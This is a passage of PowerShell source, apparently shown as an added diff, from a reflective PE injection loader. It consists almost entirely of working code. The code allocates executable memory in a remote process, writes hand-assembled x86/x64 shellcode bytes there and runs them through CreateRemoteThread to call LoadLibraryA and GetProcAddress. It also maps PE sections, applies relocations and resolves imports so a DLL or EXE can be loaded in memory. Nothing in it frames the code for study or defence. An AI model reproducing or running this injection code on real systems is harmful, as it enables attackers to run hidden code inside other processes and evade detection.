FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were 